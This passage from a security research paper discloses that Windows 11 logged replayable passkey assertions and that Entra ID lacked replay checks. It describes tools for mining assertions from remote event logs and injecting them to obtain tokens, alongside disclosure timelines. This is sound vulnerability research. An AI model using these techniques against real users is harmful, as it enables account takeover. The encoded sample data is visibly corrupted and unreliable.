DSInternals.Passkeys PowerShell Module The `DSInternals.Passkeys` PowerShell module lets Microsoft Entra ID and Okta administrators register passkeys on behalf of other users by chaining the Windows WebAuthn API with the REST APIs of the respective cloud services.It also implements most of the capabilities exposed by [DSInternals Passkey UI](#). ## 2.7 PowerShell Scripts Our tooling also includes three standalone PowerShell scripts that support the attack demonstrations and troubleshooting workflows: - [`Get-PasskeyAssertionEvent.ps1`](#) retrieves recent WebAuthn assertion responses from the local or a remote Windows event log, parses the captured `PublicKeyCredential`, and extracts context such as the initiating user, process, and origin.- [`Invoke-PasskeyCircuitBreaker.ps1`](#) monitors the WebAuthn event log in real time, shows assertion request, response, and CTAP device events, and can suspend the initiating browser process or temporarily block its outbound traffic to preserve a captured assertion.- [`Invoke-EntraPasskeyInjection.ps1`](#) is a modified TokenTactics v2 workflow that accepts a pre-computed `PublicKeyCredential` payload so it can be chained with assertions from the [Passkey Injector](#) and [SharpPasskeys](#) tools.It submits the payload to the Entra ID passkey login flow and exchanges the resulting ESTS cookie for OAuth tokens. {20}------------------------------------------------ # 3 Attacks ## 3.1 Passkey Assertion Mining via Windows Event Log ### 3.1.1 Overview We have discovered that **Windows 11 writes full WebAuthn assertions into the event log** when using passkey-based authentication: ![Screenshot of Windows Event Viewer showing a WebAuthn assertion event (Event ID 2106) with a large JSON payload containing authentication data.](bd4617f25d15430eb78c2d6d75a99dde_img.jpg) The screenshot shows the Windows Event Viewer interface.The left pane displays a tree view of event logs, with 'WebAuthn' expanded under 'Operational' for 'Plugin-Passkey-Provider/O'.The right pane shows a list of events, with 'Event ID:2106' selected.Below this, a detailed view of 'Event 2106, WebAuthN' is shown, containing a large JSON payload under the 'Clap Name:authenticationResponse:JSON' key.The JSON includes fields like 'challenges', 'publicKeyCredential', and 'userHandle'.The bottom pane shows the event's general information:Log Name:Microsoft-Windows-WebAuthN/Operational, Source:WebAuthN, Event ID:2106, Level:Information, Date and Time:1/21/2026 12:19:01 AM, Task Category:Clap Function, and Keywords:Clap. Screenshot of Windows Event Viewer showing a WebAuthn assertion event (Event ID 2106) with a large JSON payload containing authentication data. **Figure 9:WebAuthn Assertion in the Windows Event Log** This behavior applies to all assertions flowing through the Windows WebAuthn API, whether they originate from the platform authenticator (i.e., Windows Hello), roaming authenticators (e.g., YubiKeys), authenticator plugins such as 1Password or Bitwarden, or hybrid flows involving an iPhone, iPad, or Android device. We only identified two exceptions to this behavior: - No events are logged from private browsing sessions, e.g., Microsoft Edge InPrivate or Google Chrome Incognito.- Some password manager browser extensions like 1Password also provide the option to directly autofill passkeys, bypassing the Windows WebAuthn API and therefore avoiding the event log. The logged JSON payload is actually the [PublicKeyCredential](#) data structure containing an [AuthenticatorAssertionResponse](#).[1] This data is security-sensitive, as it can be used to impersonate the user against the target web application.The logged data contains all relevant fields:challenge, authenticator data, signature, user handle, and credential ID.Here is a sample event log entry in XML format: {21}------------------------------------------------ ``` 2106 0 4 503 12 0x8000000000000002 16938 Microsoft-Windows-WebAuthN/Operational CONTOSO-PC1 authenticationResponseJSON {"authenticatorAttachment":"platform", "clientExtensionResults":{}, "id":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM", "rawId":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM", "response":{"authenticatorData":"Nwye1KCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAAAg", "clientDataJSON":"eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVHk1bGVvbmV3b3daVmhCYV 5cFNRdFdnVXZwVEVOS2FHSkhZMxmQYVvVvFZYcEpnNVTvU1h0SmJtY3haRU5KTmstc1FtcFhSR3MwWpGbk1 FMXFRbFZOVmiJeVl6KqtSV0V6Y0c5VLZ6RjRXak5rVGxaVFNqa3VaWGxLYudSWFVXbFbVW94WTIwME5tSlh iR3BqYlRsN1lqSmFNRTl0V25CYVJ6ZzJXVEpvYUdKSGVHeG1iV1JzU1dsM2FXR1lUbnBKYYW05cF1VaFNNR05 JVFRaTWUvHpZakprY0dKcE5YUmhWMDU1WpOT2RscHVvWFZaTWpsMFNXbDNhVOZYUmpCSmFt0TRUbnBaTkU 5VVZYaE5WRTE1VEVOS2RwbHRXV2xQYWtVelRtcG50VTVVU1h0TmVrbHpTVzFXTkdORFNUWk5WR015VDBSck1 VMVvVvWb0YmpBdVNEQnh0blJwZfZwdFMwcEhkM1ZuWldobGRrd3pjR3hpU1UxWVUwMWFTSFpaYkhocmRtdEt VSEZQU3pWR2FXZExjR1ZHTkVzMFh6VjRjVnBvWlZsWVozZDZNa05zWkdGTWF6UTBaRUozWDNKUU9FMXNWRWR 1TWxsUk9YR1ViR1EyZVFKGVHbGfkm0JzU3pGSE9EaG1Na1JRvW5WUGJGODFNWfPkv0dGVU5XRkJUbVZDUm5 GUGQzULBXdLYV0VSa1kWXdiMj1XWkhKMGJYZGZZbU5zYVvWR1ltRjZiVz1zTUdFDFN6WlhNVzVSWHpSVvk weGZZa3gxZfZoeVNVhVnRRall4Vlc5aU1VMHpXakpwY21zNWQyZfWemhhYTNVMFVHYzRibpk5ZERobmNtaH1 aRXhpYOZCTVRVNHdjakUxUlcxAFZVUTNRVmr6Y0dnM1gydG9kMHcyTm1oMGfTbGhPR295Um04dFNYSkZUeTF tWm01T1NWZGFaSFVOTm1acGNYaHdia1paVDI5R1JsQjJXamRKUXp0aFoyaG1VSGhtWXpCWk1GWklabXhyWkU 5bFoweG1jVEo0UVZkblVhdzViRU5uVEhkbiIsIm9yaWdpbiI6Imh0dHbz0i8vbG9naW4ubWljcm9zb2Z0LmN vbSIIsImNyb3NzT3JpZ2luIjpmYXwzZX0", "signature":"MEUCIA8EKqvqxQXzZmXR55iX_Joodr_4r8PBvBk0v03iKhaAiEA_2A1_0WHAjZFPmWJH0P 1YjqPSz71Vxe9iX4Ico29tc", "userHandle":"0XqaPaVaRbsMVE6St7IOaVDB8oVhpNBZ2_w-FNSiemw"}, "type":"public-key"} ``` The event includes the browser process ID and user SID, identifying the actor performing the passkey {22}------------------------------------------------ authentication, but the most important part is the JSON payload: ``` { "authenticatorAttachment":"platform", "clientExtensionResults":{}, "id":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM", "rawId":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM", "response":{ "authenticatorData":"NWyelKCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAAG", "clientDataJSON":"eyJ0eXBlJjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVHk1bGVVb3daVmcyYVU5cFNrdFNdVWkZwEVOS2FHSkhZMmxyYVYwVfZYcEpNVTVwU1h0SmJtY3haRU5KTmtsc1FtcFhSR3MwWpGbk1FMXFRbFZ0VNm1jeVl6QktSV0V6Y0c5VlZ6RjXak5rVGxaVNqa3VaWGXLYudSVFXbFBhVW94WTIwME5tS1hiR3BqY1RsN1lqSmFNRTl0V25CYVJ6ZzJXVEpvyUdKSGVHeG1iV1JzUidsM2FXR1lUbnBKYYW05cFlVaFNNR05JVFRTaWVUbHpZakprY0dKcE5YUmwWMDU1WpOT2RscHVWVWZaTWpsMFNXbDNhVOZYUmpCSMfT0TRUbnBaTkU5VVZYAE5WRTE1VEVOS2RwbHRXV2xQYWtVelRtcG50VTVVU1hoTmVrbHpTVzFXTkdrFNNUWk5WRO15VDBSck1VMVVVWHB0YmpBdVNEQnh0BlJwZfZWdFMwcEhkM1ZuWldobGRrd3pjR3hpU1UxwVUwMWFTSFpaYkhocmRtdEtVSEZQU3pWR2FXZExjR1ZHTkVzMFh6VjRjVnBvWlZswVozZDZNa05zWkdGTWF6UTBaRUozWDNUU9FMXNWRW1TWxUk9YR1ViR1EyZVFKVGVhGfBK0JzU3pGSE9EaG1NalJRVVW5WUGJODFNWFPKv0dGVU5XRkJUvVZDUm5GUGQzU1BXbDlYY0VSa1kwVXdiMjI1XWkhKGJZGZbU5zYVYwR11tRjZiVzlzTUdFdFN6W1NvzVSWHpSVVweGZZa3gxZfZoeVNHVnRRall4V1c5aU1VMHpXakpwY21zNWQyZzFWemhhYTNVVFVHYzRibkp5ZERobmNtaHlaRxpY0ZCTVRVNHdjakUxUlcxafZVUTNRVNr6Y0dnM1gydG9kMHyTm10MGfTbGhPR295Um04dFNySkZueTfTwm01T1NWZGFSFV0Tm1acGNyAHdiaipaVDI5R1JsQjJXamRKUXp0aFoyaG1VSGhtWxPcWk1GWklabXhyWkU5bFoweG1jVEo0UVZkblVHdzViRU50VEhkbiIsIm9yaWdpbiI6Imh0dHBzO18vbG9naW4ubWljcm9zb2Z0LmVnbSIsImNyb3NzT3JpZ2luIjpmYWxzZX0", "signature":"MEUCIA8EKq1vxqcXzZmXR55iX_Joodr_4r8PBvBk0v03iKhaAiEA_2A1_OWHAjZFPmWJHOP1YjqPSz71Vxe9iX4Iico29tc", "userHandle":"0XqaPaVaRbsMVE6St7IOaVDB8oVhpNBZ2_w-FNSiemw" }, "type":"public-key" } ``` After decoding the `clientDataJSON` field from Base64Url format, we obtain another JSON structure: ``` { "type":"webauthn.get", "origin":"https://login.microsoft.com", "crossOrigin":false, "challenge":"Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY21PaUPTVXpJMU5pSXNjbmczZENJNklsQmpXRGS0UjFnME1qQlVNVmcyYzBKRRWEzcG9VZvF4WjNkTLZTSjkuZXlKaGRXUWlPaUoxY200NmJXbGpjbt16YjJaME9tWnBaRzg2WTJoaGJHeGxibWRsSWl3aWfyTnpJam9pYUhsMGNTTzMeTlzYjJkcGJpNXRhV055YjN0dlpuUXVZMj10SWl3aWfXRjBJam94TnpZNE9UVXhNVE15TENKdVltWWlPakUzTmPnNU5URXhNek1zSW1WNGNDSTZNVMgyTORrMU1UUXpNbjaAuSDBxNnRpdVptS0pHd2VnZWldkdwzcGxiSU1YU01aSHZZbHrdmtKUHFPSzVGaWdLcGVGNes0XzV4cVpoZVlY3d6MkNsZGF MazQOZEJ3X3JQOE1sVEduM11ROXFUbgQ2dUJTeGlad3BsSzfHDhdiMjRkUNVPbf81MXZJWGFUNWFBTmVCRnFPd3RPW19XcERkY0Uwb29WZHJObXdfYmNsaUpGYmF6W9sMGETsZXXMW5RXzRUY0xfYkx1dVhySGVtQjYxVW9iMU0zWjJpcms5d2g1Vzhaa3U0UGc4bnJydDhncmhyZExicFBMTU4wcjE1Rw1hVUQ3QVdzcGg3X2tod0w2Nmhoam1h0GoyRm8tSXJFTy1mZm50SVdaZHUtnNmZpcXhwbkZZT29GR1B2WjdJQzNhZ2hiUHmYzBZMFZIZmxrZE91Z0xmcTJ4QVdnUGw5bENnTHdn" } ``` The `origin` field identifies the relying party (i.e., the cloud service). {23}------------------------------------------------ The following filter XML locates these events in the Windows Event Log: ``` ``` #### Note Windows incorrectly puts a newline character (\n) at the end of the authenticationResponseJSON field in the event log.The filter XML above accounts for this quirk.Unfortunately, it only works in PowerShell or the Win32 API, but not in the Event Viewer GUI. On websites without replay detection, these logged assertions can be replayed to impersonate the user without needing access to the original authenticator device. ### 3.1.2 Client-Side Requirements To read the assertion events from the event log, the adversary must have local or network access to the Windows 11 machine performing passkey authentication.For local access, membership in the **Users** group is sufficient.For remote access, the adversary needs to be a member of one of the following groups: - Event Log Readers - Remote Desktop Users - Remote Management Users - Administrators Even with local administrative privileges on the target machine, this attack could result in serious privilege escalation into cloud services.Consider a scenario in which a highly privileged cloud user (e.g., a Global Administrator) signs in on a shared or managed machine.An adversary who only holds local administrator rights on that machine but has low or no cloud privileges could then read the logged assertion and replay it to impersonate the privileged user against the relying party, thereby gaining access to cloud resources far beyond their own authorization level. ### 3.1.3 Server-Side Requirements The following server-side conditions must be met for the attack to succeed: - The relying party does not check [challenge$nonce$](#) reuse.[1] - The challenge is not bound to the user's session.- [Signature counters](#) are not tracked.[1] We have verified that none of these checks are performed by Microsoft Entra ID ([login.microsoft.com](https://login.microsoft.com)), which further increases the severity of this vulnerability and enables the [Passkey Replay Attack](#). {24}------------------------------------------------ ### 3.1.4 Attack Execution The [Get-PasskeyAssertionEvent.ps1](#) PowerShell script demonstrates the issue by retrieving recent WebAuthn assertions from a remote Windows event log and decoding the `origin` value from each assertion's `clientDataJSON`: ```.\Get-PasskeyAssertionEvent.ps1 -ComputerName 'CONTOSO-PC1' ``` Sample script output (truncated): ``` TimeCreated :1/21/2026 12:19:01 AM MachineName :CONTOSO-PC1 ProcessId :32708 UserID :S-1-5-21-1084105731-826279734-3585910670-1327 UserName :CONTOSO\alice Origin :https://login.microsoft.com PublicKeyCredential:{"authenticatorAttachment":"platform",...,"type":"public-key"} ``` As a next step, the retrieved `PublicKeyCredential` JSON payload can be passed to the [Passkey Injector](#) tool to impersonate the user.The entire process could be fully automated by extending the PowerShell script. ### 3.1.5 WebAuthn PRF and HMAC Secret Extensions We also looked at the [WebAuthn PRF$Pseudo-Random Function$ extension](#), which is built on top of the [hmac-secret extension](#) of the Client to Authenticator Protocol (CTAP2).[2] This extension is used to generate long-term symmetric encryption keys from passkeys and seems to be used by several digital wallet applications to protect user data. To our disappointment, it seems that Microsoft engineers were fully aware of the security implications of leaking these encryption keys and decided to redact the `prf` field in the logged assertions: ``` { "authenticatorAttachment":"platform", "clientExtensionResults":{ "prf":{} }, "id":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM", "rawId":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM", "response":{ "authenticatorData":"NWye1KCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAZQ", "clientDataJSON":"eyJ0eXB1Ijoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVHk1bGVVb3daVmhCYVU5cFNrdFdNVkZwVEVOS2FHSkhZMmxQYVYVwVFZYcEpNVTVwU1h0SMJtY3haRU5KTmtscVZscQmFhbXh5VGxWw5Wb3dUa1JrTUU1MFVtcEtRMVF3YUvSbFJWSkZWVWk14UldGNVnQa3VaWGxLYUdSWFVXbFBhVW94WTIwME5tS1hiR3BqY1RsN1lqSMFNRT10V25CYVJ6ZzJXVEpYUdKSGVHeGliV1JzU1dsM2FXR11UbnBKYYW05cFlVaFNNR05JVFRaTWVUbHpZakprY0dKcE5YUmhWMDU1Wp0T2RscHVvWFZaTWpsMFNXbDNhVOZYUmpcSmFtOTRUbXBCT1UxcVl6Tk9WRkUwVEVOS2RwbHRXV2xQYWtVeVRVUuJ1VTU2WxpGT1JH2HpTVzFXtkdORFNUWk5WRmwzVDFSSk0wNTZaekJQU0 ``` {25}------------------------------------------------ ``` RBdWJEtN11rj1KVG50TFQwaHNaVFI1YXpkd1NtazNNRzB5TVV0c1YybFdXa2xKTUd4UmRwEpiV1owTjFSTVgw cHBjVFJwYzBVemEwNXZSalI2WDBjeV1sRmhhRGRhTOc1NWRWU1phbU5rVG1zeFNTNU9UMGsxlhCTU1VSXd0a1 IOTjIxt1UwNXNaM1psV1doS1IwNWZhVkIOUkMxbE9WsmTWwEp2TmpeUEXxeDFjSFJQVWpWUVgzQjZkVXBXTBk R1RGRXdMWEJaVUhFNU56bEVWbUkyWkY5cE1IWXhiakJLYWtkM2JreE1NVkU1YjNaU1NFSnpSMUUXwXpGdk1VaE 5TRE5CZEVsdFpqSTBaazlNY0hCT1QyczNXWE01T1hsSWRGTTVwa0Z3Y1R0bWJHNXZUM1Z4V1ZwWFF6QkRNbKpq Tlhwc2R6QXdSM3A1T0dWNk5XWnJhMDEwUOROS1JHcG1iV1oxYVd4ZmIxUkNjMjB5UVVJd1gxWTV0alp4UmXkdU 1HeHNXWGN0ZVhsQ1REbE1TVTFMZWxNMVVMDFhRGhwYjFsRmFreHJabFJHYmxwSmFuZfvWRVJwTOhWM1NHMUxN a1Z1ZUZwbiIsIm9yaWdpbiI6Imh0dHBzOi8vbG9naW4ubWljcm9zb2Z0LmNvbSIsImNybzNzT3JpZ2luIjpmYW xzZX0", "signature":"MEUCIQc43iMRBhvOfvnx4B559FFLmLVmf3QepJL5wYaamFjzTQIgDn5e-cX64YFGzbT9KM6Bz 7W9UNoMmsTocqM_2889T18", "userHandle":"0XqaPaVaRbsMVE6St7IOaVDB8oVhpNBZ2_w-FNSiemw" }, "type":"public-key" } ``` ### 3.1.6 Fix On July 14, 2026, Microsoft released security updates that address the vulnerability described above.Fully patched Windows systems now truncate the `signature` fields in the logged assertions to 6 bytes, which effectively prevents replay attacks but still allows for debugging and troubleshooting of WebAuthn issues. Our only complaint would be that Microsoft’s description of the vulnerability in their security advisory is rather misleading: An attacker who successfully exploited this vulnerability could potentially read small portions of heap memory. Needless to say, the events produced by the Windows WebAuthn API are still undocumented. ### 3.1.7 Conclusion The exploit satisfies the phishing-resistant multi-factor authentication requirement enforced by conditional access policies, and is much easier to execute than traditional session hijacking techniques.We have not noticed any XDR alerts or other security mechanisms being triggered during our tests. ### 3.1.8 Vulnerability Classification When reporting the issue to Microsoft, we filed it under the **Privilege Escalation** category and classified it as follows: | Framework | ID | Description | |-----------|---------|------------------------------------------------------------| | CWE | CWE-532 | Insertion of Sensitive Information into Log File | | | CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor | {26}------------------------------------------------ | Framework | ID | Description | |-----------------|----------------------------|------------------------------------------------------------| | MITRE
ATT&CK | CWE-312 | Cleartext Storage of Sensitive Information | | | T1552.001 | Unsecured Credentials:Credentials In Files | | | T1005 | Data from Local System | | | T1119 | Automated Collection | | | T1212 | Exploitation for Credential Access | | | TA0004 | Privilege Escalation | | CVSS 3.1 | 8.6 (High) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C | | MSRC | VULN-171317 | Passkey Assertions Written to Windows Event Log | Microsoft decided to change the category to **Information Disclosure** and used this classification in their security advisory: | Framework | ID | Description | |-----------|--------------------------------|--------------------------------------------------------------------| | CWE | CWE-693 | Protection Mechanism Failure | | CVSS 3.1 | 6.5 (Medium) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C | | MSRC | CVE-2026-34348 | Windows Event Logging Service Information Disclosure Vulnerability | ### 3.1.9 Disclosure Timeline | Date | Event | |------------|----------------------------------------------------------------------------------------| | 2026-01-16 | Vulnerability discovered during internal research. | | 2026-01-21 | Initial disclosure to Microsoft Security Response Center (MSRC). | | 2026-04-15 | Microsoft confirmed the vulnerability and scheduled a fix for July 14, 2026. | | 2026-04-23 | MSRC classified the vulnerability as Information Disclosure and paid a\$1,000 bounty.| | 2026-07-14 | Microsoft released a security update to address the vulnerability. | {27}------------------------------------------------ ## 3.2 Passkey Replay Attack ### 3.2.1 Overview Since its first public draft, the WebAuthn protocol specification has contained mitigations against assertion replay attacks, primarily through the use of cryptographic challenges (nonces) and device-bound signature counters, as discussed above.However, not all implementations seem to fully adhere to these security recommendations.[1] We tested multiple cloud services and identified Microsoft Entra ID as particularly vulnerable to replay attacks.By itself, this vulnerability is not especially severe, as a malicious actor would first need to intercept HTTPS traffic between a client computer and Microsoft Entra ID servers, which would open more straightforward attack vectors, e.g., session hijacking.However, when combined with the previously described [Passkey Assertion Mining via Windows Event Log](#) vulnerability, the overall attack chain becomes much more practical and dangerous. ### 3.2.2 Challenge Replay Vulnerability The Microsoft Entra ID engineering team decided to forgo certain security checks to ensure scalability and performance.Instead of storing each issued challenge in a server-side database, they chose to replace randomly generated challenges with short-lived digitally signed JWT tokens. Here is a sample WebAuthn challenge issued by Microsoft Entra ID: ``` Ty5leUowZWbBaU9pSktWMVFpTENKAGJHY21PaUpTVXpJMU5pSXNJbmcxZENJNklsQmpXRGs0UjFnME1q QlVNvmcyYzBKREwEzcG9VZf4WjNkT1ZTSjkuZX1KaGRXUW1PaUoxY200NmJXbGpjbt16YjJaME9tWnBa Rzg2WTJoaGJHeGxibWRsSW13aWFYtNpJam9pYUhsMGNTITZMeT1zYjJkcGJpNHRhV055YjN0d1puUXVZ Mj10SW13aWFXRjBJam94TnpZNE9UUTNOVF EzTENKdV1tWW1PakUzTmnu5EYzFORGNzSW1WNGNDSTZN VGMjTOrrME56ZzBOMzAuSWQ4YUMyNXQya2xjY3V3Rz1TcjhvczVPd05QdExRWf9vZURGTVhtSmh50G1K TU15b2d3enUtUGZHN3N00W5zUFZHT05FUzdpeGZnbGVZCTYzUldkWXNpMTh6emNubGJGQkk4NFh6MD1f SzN4VFVOSEJyNUFHC084MUFHRjhkT3cyd3ZNVTfKTWJaYOvraV9Qa3dzaUdBcG1Gd2M3Tmc2dmg5b0JY JTJ0dExONnZBaUNSSU9XX1ZYRlp0WXF2Nk14eUpLZG5SVDNJMGRjVkFnN1M40E5YRGN0YU84b1EOYTNB R1FLYThBRjItaHN0YVBlemM4QWx3YkkyaUFBSEFawWhLazFyWvdXcUVVvz1ucW1PT1pIVk1GMD1iNOFZ X1pjdHJYY0kwdH1YU01UYW1fb1U1M3R3cVBpN3B6c09EUONaZG9WWGxRSEcxQ2pld2VpTXQyLUh3 ``` After decoding it from the Base64 format, we get a well-formed JWT structure prepended with the non-standard leading 0.sequence: ``` 0.eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6I1BjWDk4R1g0MjBUMVg2c0JEa3poUW1xZ3dNVSJ9.eyJhdWQiOiJ1cm46bWljcm9zb2Z0O0mZpZG86Y2hhbGxlbmdlIiwiaXNzIjoiaHR0cHM6LW9sb2dpbi5taWNy3 NvZnQuY29tIiwiaWF0IjoxNzY4OTQ3NTQ3LCJuYmYiOjE3Njg5NDc1NDcsImV4cCI6MTc2ODk0Nzg0N30.Id8aC25t2klccuwG9Sr8os50wNptLQX_oeDFMXmJhy8iJMMyogwzu-PfG7st9nsPVG0NES7ixfgleBe63RwYs i18zzcnlbfBIA8Xz09_K3xTUthBr5AGs081AGF8d0w2wvMU1JMbZcEki_PkwsIGApMfwc7Ng6vh9oBXA2NtLN6 vAiCRIOw_VXFZNYqv6IxyJKdnRT3IOdcVAg6S88NXDcha08oQ4a3AFQKa8AF2-hstaPezc8AlwbI2iAAHAZXxK k1rYWWqEUW9nqm00ZHVMF09b7AY_ZctrXcIOtyXSiTam_oU53twqPi7pzsODSCZdoVX1QHG1CjeweiMt2-Hw ``` After decoding the Base64Url-encoded UTF-8 strings, we obtain the following JWT header and payload: {28}------------------------------------------------ ``` { "typ":"JWT", "alg":"RS256", "x5t":"PcX98GX420T1X6sBDkzhQmqgwMU" } ``` ``` { "aud":"urn:microsoft:fido:challenge", "iss":"https://login.microsoft.com", "iat":1768947547, "nbf":1768947547, "exp":1768947847 } ``` The JWT payload indicates that the challenge is valid for only five minutes.However, our tests have shown that Microsoft Entra ID accepts challenges for up to ten minutes after issuance, apparently to account for possible time skew between systems.Using an expired challenge results in an authentication failure.Still, the ten-minute validity period provides a sufficient window for an attacker to capture and replay a signed challenge.In fact, even 30 seconds would be enough for fully automated attacks.A proper replay check is a must. ![Screenshot of a 'Sign-in failed' error page from Azure Portal.The error code is 'invalid_request' and the message is 'Invalid challenge received from fido assertion.' It includes a trace ID, correlation ID, and timestamp from 2026-01-17 20:40:39Z.A cloud icon with a rain drop is visible on the right side of the error message.](a4f8ab9085cf6977168da3fa62e04b7e_img.jpg) Screenshot of a 'Sign-in failed' error page from Azure Portal.The error code is 'invalid\_request' and the message is 'Invalid challenge received from fido assertion.' It includes a trace ID, correlation ID, and timestamp from 2026-01-17 20:40:39Z.A cloud icon with a rain drop is visible on the right side of the error message. Figure 10:Entra ID Challenge Expiration Error ### 3.2.3 Signature Counter Replay Vulnerability Microsoft Entra ID does not track or enforce signature counters for WebAuthn assertions.This omission allows attackers to reuse previously captured assertions to impersonate users. {29}------------------------------------------------ ![Screenshot of the Passkey UI showing a table of Passkey Operations with columns for Time Started, Type, Relying Party, Provider, Product, Counter, and User Name.](7119b28e39fa3784606bf8b8f44e4f9d_img.jpg) The screenshot shows the Passkey UI interface.At the top, there are links for 'Load Default Options' and 'Help'.Below that, a navigation bar includes 'Windows API Information', 'Registration', 'Authentication', 'Platform Credentials', 'Authenticators', and 'Event Log'.A 'Load Events' button with a refresh icon is on the right.The main section is titled 'Passkey Operations' and contains a table with the following data: | Time Started | Type | Relying Party | Provider | Product | Counter | User Name | |---------------------|----------------|---------------------|---------------------------|--------------|---------|-----------| | 2026-05-09 23:49:38 | Authentication | login.microsoft.com | MicrosoftPlatformProvider | | 103 | | | 2026-05-09 19:13:33 | Authentication | github.com | MicrosoftPlatformProvider | | 117 | | | 2026-05-08 02:28:00 | Authentication | login.microsoft.com | MicrosoftPlatformProvider | | 102 | | | 2026-05-06 10:01:17 | Authentication | login.microsoft.com | MicrosoftPlatformProvider | | 101 | | | 2026-05-05 22:03:18 | Authentication | login.microsoft.com | MicrosoftCtapHidProvider | YubiKey FIDO | 238 | | | 2026-05-05 22:02:56 | Authentication | login.microsoft.com | MicrosoftCtapHidProvider | YubiKey FIDO | 222 | | Screenshot of the Passkey UI showing a table of Passkey Operations with columns for Time Started, Type, Relying Party, Provider, Product, Counter, and User Name. Figure 11:Signature Counters in DSInternals Passkey UI Before [Microsoft retired the Azure AD Graph API](#), it was possible to retrieve the initial signature counter value for each registered passkey in an Entra ID tenant using the [DSInternals PowerShell module](#): ``` Install-Module -Name AzureAD,DSInternals -Force Connect-AzureAD $tokens = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens $accessToken = $tokens['AccessToken'].AccessToken Get-AzureADUserEx -All -Token $accessToken | Where-Object Enabled -eq $true | Select-Object -ExpandProperty KeyCredentials | Where-Object Usage -eq FIDO | Format-Table -View FIDO ``` Sample output: | DisplayName | AAGUID | Alg | Counter | Created | Owner | |-----------------|--------------------------------------|-------|---------|------------|-------| | Feitian BioPass | 77010bd7-212a-4fc9-b236-d2ca5e9d4084 | ES256 | 261 | 2019-08-26 | bill | | YubiKey 5 | fa2b99dc-9e39-4257-8f92-4a30d23c4118 | ES256 | 229 | 2019-08-26 | jane | | eWBM Goldengate | 95442b2e-f15e-4def-b270-efb106facb4e | ES256 | 48 | 2019-08-29 | joe | Based on our experiments, the values in the Counter column were populated during passkey registration, but they were never updated during subsequent authentications.The reason behind this non-standard behavior might be the way Entra ID stores these values.According to our previous research, a single undocumented searchableDeviceKey multi-valued user attribute holds all FIDO2 keys (passkeys), Windows Hello for Business keys (NGC keys), and Microsoft {30}------------------------------------------------ Authenticator passwordless keys.In hybrid environments, this property is synchronized to the `msDS-KeyCredentialLink` user attribute in Active Directory Domain Services (AD DS) using Microsoft Entra Connect.Whenever this attribute is updated, e.g., during new device registration, a user modification event is generated in Entra ID Audit Logs. This design choice likely complicates tracking and updating individual signature counters, as all sign-ins would otherwise trigger AD writebacks and spam audit logs.Up-to-date signature counters could obviously be stored in a different, non-public attribute, but the observed behavior suggests otherwise. ### 3.2.4 Advanced Security and Analytics We tested the replay attack against users assigned the Microsoft 365 E5 license, which includes Entra Identity Protection and Defender for Identity.No alerts or other security signals were generated during or after our tests. ### 3.2.5 Fix In May 2026, Microsoft silently deployed signature counter tracking for FIDO2 security keys, such as YubiKeys, in line with our recommendation.This mitigates replay for authenticators that maintain and increment a device-bound counter: ![Screenshot of a 'Sign-in failed' error message from Microsoft Entra ID.The error code is 'invalid_request'.The error message is 'invalid_request:Unexpected Signature Counter received from authenticator.' Trace ID:d751c9b8-b732-4b9b-9a49-b8cec2b11200.Correlation ID:019e2796-7854-7c37-8a85-2b45f85598da.Timestamp:2026-05-14 17:43:58Z.There is a link to 'Learn more about the error'.](011d7628370283ec23a24c1772507121_img.jpg) A screenshot of a Microsoft Entra ID sign-in failure error.The background is blue with a faint diagram of a cloud and a raindrop.The text is white.It says 'Sign-in failed' in a large font.Below it, 'Error code:invalid\_request'.Then 'Error message:invalid\_request:Unexpected Signature Counter received from authenticator.' followed by 'Trace ID:d751c9b8-b732-4b9b-9a49-b8cec2b11200', 'Correlation ID:019e2796-7854-7c37-8a85-2b45f85598da', and 'Timestamp:2026-05-14 17:43:58Z'.At the bottom, there is a link 'Learn more about the error >'. Screenshot of a 'Sign-in failed' error message from Microsoft Entra ID.The error code is 'invalid\_request'.The error message is 'invalid\_request:Unexpected Signature Counter received from authenticator.' Trace ID:d751c9b8-b732-4b9b-9a49-b8cec2b11200.Correlation ID:019e2796-7854-7c37-8a85-2b45f85598da.Timestamp:2026-05-14 17:43:58Z.There is a link to 'Learn more about the error'. **Figure 12:** Entra ID Signature Counter Error Windows Hello passkeys on Entra ID registered devices remain vulnerable to replay, because Windows Hello always sends a counter value of 0 for these credentials instead of incrementing a per-passkey counter.There are also known implementations of synced passkeys that do not support signature counters, such as KeePassXC.When migrating synced passkeys from 1Password to other authenticator applications, the counter values are intentionally not preserved, which results in counter rollbacks. {31}------------------------------------------------ ### 3.2.6 Vulnerability Classification | Framework | ID | Description | |--------------|-------------|------------------------------------------------------------| | CWE | CWE-294 | Authentication Bypass by Capture-replay | | | CWE-287 | Improper Authentication | | MITRE ATT&CK | T1550 | Use Alternate Authentication Material | | | TA0004 | Privilege Escalation | | CVSS 3.1 | 7.8 (High) | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:F/RL:X/RC:X | | MSRC | VULN-171325 | Entra ID WebAuthn Assertion Replay Attack Vulnerability | ### 3.2.7 Disclosure Timeline | Date | Event | |------------|-------------------------------------------------------------------------| | 2026-01-16 | Vulnerability discovered during internal research. | | 2026-01-21 | Initial disclosure to Microsoft Security Response Center (MSRC). | | 2026-02-12 | MSRC requested additional information (correlation IDs and timestamps).| | 2026-02-18 | Additional information provided to MSRC. | | 2026-03-11 | Vulnerability 